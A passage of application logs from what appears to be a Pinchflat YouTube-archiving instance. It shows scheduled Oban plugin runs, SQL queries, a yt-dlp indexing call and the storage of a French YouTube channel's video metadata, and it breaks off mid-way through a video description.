{"source":"oban","duration":626,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:11:12.616 [info] {"source":"oban","duration":4017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:42.619 [info] {"source":"oban","duration":2234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.786 [info] {"source":"oban","duration":603,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:12:12.621 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:42.623 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.787 [info] {"source":"oban","duration":643,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:13:12.625 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:42.628 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.788 [info] {"source":"oban","duration":518,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:14:12.630 [info] {"source":"oban","duration":1754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:42.635 [info] {"source":"oban","duration":2750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.790 [info] {"source":"oban","duration":1521,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:15:12.637 [info] {"source":"oban","duration":1891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:42.642 [info] {"source":"oban","duration":3807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.791 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:16:12.646 [info] {"source":"oban","duration":2857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:42.650 [info] {"source":"oban","duration":2209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.792 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:17:12.653 [info] {"source":"oban","duration":2586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:42.656 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.794 [info] {"source":"oban","duration":503,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:18:12.658 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:42.661 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.795 [info] {"source":"oban","duration":702,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:19:12.664 [info] {"source":"oban","duration":1953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:42.673 [info] {"source":"oban","duration":8624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.798 [info] {"source":"oban","duration":810,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:20:12.675 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:42.678 [info] {"source":"oban","duration":2357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.799 [info] {"source":"oban","duration":431,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:21:12.682 [info] {"source":"oban","duration":3574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:42.684 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.800 [info] {"source":"oban","duration":465,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:22:12.686 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:42.688 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.803 [info] {"source":"oban","duration":2019,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:23:12.691 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:42.693 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.804 [info] {"source":"oban","duration":581,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:24:12.696 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:42.699 [info] {"source":"oban","duration":2407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.805 [info] {"source":"oban","duration":671,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:25:12.701 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:42.704 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.807 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:26:12.706 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:42.709 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.808 [info] {"source":"oban","duration":534,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:27:12.711 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:42.714 [info] {"source":"oban","duration":1891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.809 [info] {"source":"oban","duration":440,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:28:12.716 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:42.719 [info] {"source":"oban","duration":2401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.811 [info] {"source":"oban","duration":838,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:29:12.722 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:42.725 [info] {"source":"oban","duration":2528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.812 [info] {"source":"oban","duration":435,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:30:12.727 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:42.732 [info] {"source":"oban","duration":3852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.813 [info] {"source":"oban","duration":544,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:31:12.734 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:42.736 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.815 [info] {"source":"oban","duration":478,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:32:12.739 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:42.742 [info] {"source":"oban","duration":2286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.816 [info] {"source":"oban","duration":404,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:33:12.744 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:42.747 [info] {"source":"oban","duration":2081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.818 [info] {"source":"oban","duration":736,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:34:12.750 [info] {"source":"oban","duration":2005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:42.752 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.820 [info] {"source":"oban","duration":899,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:35:12.755 [info] {"source":"oban","duration":1953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:42.758 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.821 [info] {"source":"oban","duration":806,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:36:12.760 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:42.762 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.824 [info] {"source":"oban","duration":1629,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:37:12.764 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:42.767 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.826 [info] {"source":"oban","duration":932,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:38:12.769 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:42.772 [info] {"source":"oban","duration":2712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.827 [info] {"source":"oban","duration":686,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:39:12.774 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:25.147 [info] {"args":{"id":2},"id":2358,"meta":{},"system_time":1776663565147002664,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 07:39:25.148 [debug] QUERY OK source="sources" db=1.1ms idle=904.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:25.150 [debug] QUERY OK source="settings" db=1.3ms idle=905.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:39:25.579 [debug] QUERY OK source="media_items" db=428.4ms idle=907.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 07:39:25.581 [debug] QUERY OK source="media_items" db=1.6ms idle=439.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 07:39:25.583 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=435.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:25.586 [debug] QUERY OK source="settings" db=0.9ms idle=436.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:39:25.587 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=436.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:39:25.655 [debug] QUERY OK source="media_items" db=3.6ms idle=71.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 07:39:25.713 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 07:39:25.713 [debug] Current batch of media processed. Will check again in 1000ms 07:39:25.721 [debug] QUERY OK source="settings" db=0.3ms idle=138.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:39:25.722 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=138.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:39:25.723 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=136.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:39:25.724 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@sylvainlyve --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Sylvain Lyve/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/5b/95/5b9581328f073545355337498e2c0b1ca52d3169cabda453df1db24723b1e5d0.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/54/00/540065381e82e5ae708852b6a2271f91a2ce75a6964b97aa912ed4f17d05f22c.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 07:39:26.714 [debug] Current batch of media processed. Will check again in 1000ms 07:39:27.715 [debug] Current batch of media processed. Will check again in 1000ms 07:39:28.716 [debug] Current batch of media processed. Will check again in 1000ms 07:39:29.717 [debug] Current batch of media processed. Will check again in 1000ms 07:39:30.718 [debug] Current batch of media processed. Will check again in 1000ms 07:39:31.719 [debug] Current batch of media processed. Will check again in 1000ms 07:39:32.720 [debug] Current batch of media processed. Will check again in 1000ms 07:39:33.721 [debug] Current batch of media processed. Will check again in 1000ms 07:39:34.722 [debug] Current batch of media processed. Will check again in 1000ms 07:39:35.723 [debug] Current batch of media processed. Will check again in 1000ms 07:39:36.724 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Éléphant Bleu d’avoir sponsorisé la vidéo! Jusqu'à fin avril, rendez-vous en station de lavage pour scanner le QR code et tenter de gagner une voiture. \nTrouvez la station Eléphant Bleu la plus proche de vous : https://www.elephantbleu.com\n\n--------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nCompositeur cascadeur : Joseph Shuman\nProduction : Anaelle Le Magorou et Capucine Sémur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Robin Danos\nMontage : Pablo Kerlogot et Thibault Iacolare\nVignette : Quentin Legac\nFourniture voiture : Cyril\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #GLOBULEUX #SONETODEUR", "duration" => 1446, "filename" => "/downloads/Sylvain Lyve/2026-04-16 Ouvrir la portière à 130km⧸h : ça fait quoi ?/Ouvrir la portière à 130km⧸h : ça fait quoi ? [XPtFkKA8WEc].mkv", "id" => "XPtFkKA8WEc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XPtFkKA8WEc", "playlist_index" => 1, "timestamp" => 1776356104, "title" => "Ouvrir la portière à 130km/h : ça fait quoi ?", "upload_date" => "20260416"} 07:39:36.725 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1480.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:36.727 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1482.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:36.729 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=1483.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-16 16:15:04Z], 2] 07:39:36.750 [debug] QUERY OK source="media_items" db=20.3ms idle=1485.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Éléphant Bleu d’avoir sponsorisé la vidéo! Jusqu'à fin avril, rendez-vous en station de lavage pour scanner le QR code et tenter de gagner une voiture. \nTrouvez la station Eléphant Bleu la plus proche de vous : https://www.elephantbleu.com\n\n--------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nCompositeur cascadeur : Joseph Shuman\nProduction : Anaelle Le Magorou et Capucine Sémur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Robin Danos\nMontage : Pablo Kerlogot et Thibault Iacolare\nVignette : Quentin Legac\nFourniture voiture : Cyril\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #GLOBULEUX #SONETODEUR", "Ouvrir la portière à 130km/h : ça fait quoi ?", "c7de370e-61d7-4526-b24d-14f771d2e53e", "XPtFkKA8WEc", 1446, false, "https://www.youtube.com/watch?v=XPtFkKA8WEc", 1, "/downloads/Sylvain Lyve/2026-04-16 Ouvrir la portière à 130km⧸h : ça fait quoi ?/Ouvrir la portière à 130km⧸h : ça fait quoi ? [XPtFkKA8WEc].mkv", false, false, false, 2, [], 98, ~U[2026-04-16 16:15:04Z], ~U[2026-04-20 05:39:36Z], ~U[2026-04-20 05:39:36Z], "Merci à Éléphant Bleu d’avoir sponsorisé la vidéo! Jusqu'à fin avril, rendez-vous en station de lavage pour scanner le QR code et tenter de gagner une voiture. \nTrouvez la station Eléphant Bleu la plus proche de vous : https://www.elephantbleu.com\n\n--------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nCompositeur cascadeur : Joseph Shuman\nProduction : Anaelle Le Magorou et Capucine Sémur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Robin Danos\nMontage : Pablo Kerlogot et Thibault Iacolare\nVignette : Quentin Legac\nFourniture voiture : Cyril\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #GLOBULEUX #SONETODEUR", "Ouvrir la portière à 130km/h : ça fait quoi ?", "XPtFkKA8WEc", 1446, false, "https://www.youtube.com/watch?v=XPtFkKA8WEc", "/downloads/Sylvain Lyve/2026-04-16 Ouvrir la portière à 130km⧸h : ça fait quoi ?/Ouvrir la portière à 130km⧸h : ça fait quoi ? [XPtFkKA8WEc].mkv", false, 2, ~U[2026-04-16 16:15:04Z]] 07:39:36.751 [debug] QUERY OK source="sources" db=0.7ms idle=566.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:36.753 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.4ms idle=26.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:36.754 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=26.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [28128] 07:39:36.755 [debug] Current batch of media processed. Will check again in 1000ms 07:39:37.756 [debug] Current batch of media processed. Will check again in 1000ms 07:39:38.757 [debug] Current batch of media processed. Will check again in 1000ms 07:39:39.759 [debug] Current batch of media processed. Will check again in 1000ms 07:39:40.762 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Saily d’avoir sponsorisé la vidéo ! Téléchargez l'application ici 👉 https://saily.com/sylvain et obtenez 15% de réduction sur votre eSIM en utilisant le code SYLVAIN\n\nCollaboration commerciale\n\n-----------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Sport Design Automobiles pour le prêt de cette exceptionnelle F430\nLe site ici 👉 http://sport-design-automobile.fr/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nAcheteur potentiel : Joseph Shuman\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec 